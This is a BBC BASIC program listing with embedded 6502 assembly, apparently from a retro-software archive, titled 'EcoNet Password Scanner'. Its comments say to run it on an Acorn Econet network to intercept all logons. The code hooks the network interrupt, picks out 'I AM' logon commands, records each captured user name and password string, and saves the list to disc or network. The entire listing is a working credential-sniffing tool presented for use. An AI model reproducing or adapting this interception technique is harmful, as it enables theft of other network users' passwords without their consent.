8-Bit Software Online Conversion

:0.$.EcoScan - Listing

10REM EcoNet Password Scanner 20REM Final Version 30REM Run program while connected to 40REM net to intercept all logons 50REM Press ESCAPE to leave and 55REM save/view intercepted data 60MODE7 70S%=&5000:E%=&7B00 80HIMEM=&5000:DIM P$(100) 90M%=&70:!M%=S% 100FOR Z%=0TO 2STEP2 110P%=&900 120[OPTZ% 130.NMI BIT &FE18:PHP:PHA:TYA:PHA 140LDA &FEA2 150CMP #ASC"I":BNE CONT 160LDY#0:STA(M%),Y:LDA #26:STA &75:JMP PASS 170.CONT 180STA &76:LDA &75:BEQ NMIEND:LDA &76: LDY#0:STA(M%),Y:DEC &75 190.PASS 200INCM%:BNE NMIEND 210INC M%+1:LDA #E%DIV256:CMPM%+1:BNE NMIEND 220.RES LDA #S%MOD256:STAM% 230LDA #S%DIV256:STAM%+1 240.NMIEND PLA:TAY:PLA:PLP 250JMP &D03 260] 270NEXT Z% 280?&D00=&4C:?&D01=0:?&D02=9 290ONERROR IF ERR=17 PROCfinish ELSE R EPORT:PRINT" at line ";ERL:END 300A%=S% 310B%=FNGET:IF B%=ASC"I" PROCcheck 320GOTO310 330DEF FNGET 340REPEAT UNTIL A%<>!M% 350A%=A%+1 360=?(A%-1) 370DEFPROCcheck 380B%=FNGET:IF B%<>32 ENDPROC 390B%=FNGET:IF B%<>65 ENDPROC 400B%=FNGET:IF B%<>77 ENDPROC 410B%=FNGET:IF B%<>32 ENDPROC 420?&A16=13 430FOR I%=0 TO 21:B%=FNGET 440IF B%>31 AND B%<127 I%?&A00=B% ELSE I%?&A00=13:I%=21 450NEXT 460PRINT;"";:IF LEFT$($&A00,4)="D045" $&A00="D045 Information Denied":VDU6 ELS E PRINT;" "; 470N%=FALSE 480FOR I%=0 TO 99 490IF P$(I%)=$&A00 I%=99:N%=TRUE:GOTO 510 500IF P$(I%)="" P$(I%)=$&A00:I%=99:N%= TRUE 510NEXT 520IF N%=FALSE PROCfinish 530ENDPROC 540DEFPROCfinish 550PRINT"Finished" 560INPUT"SAVE TO DISC (Y/N)?"D$ 570IF D$="Y" INPUT"NETWORK OR FLOPPY ( N/F)";S$:IF S$="N" OSCLI"NET" ELSE IF D$ ="Y" OSCLI"DISC" 580PRINT"SWITCH OFF MONITOR IF REQUIRE D AND PRESSSPACE NOW!":REPEATUNTILGET=32 590IF D$="Y" THEN OSCLI"SPOOL DATA" 600I%=0 610REPEAT 620IF P$(I%)="" PRINT':I%=99:GOTO640 630PRINTP$(I%) 640I%=I%+1:UNTIL I%>99 650*SPOOL 660VDU7 670END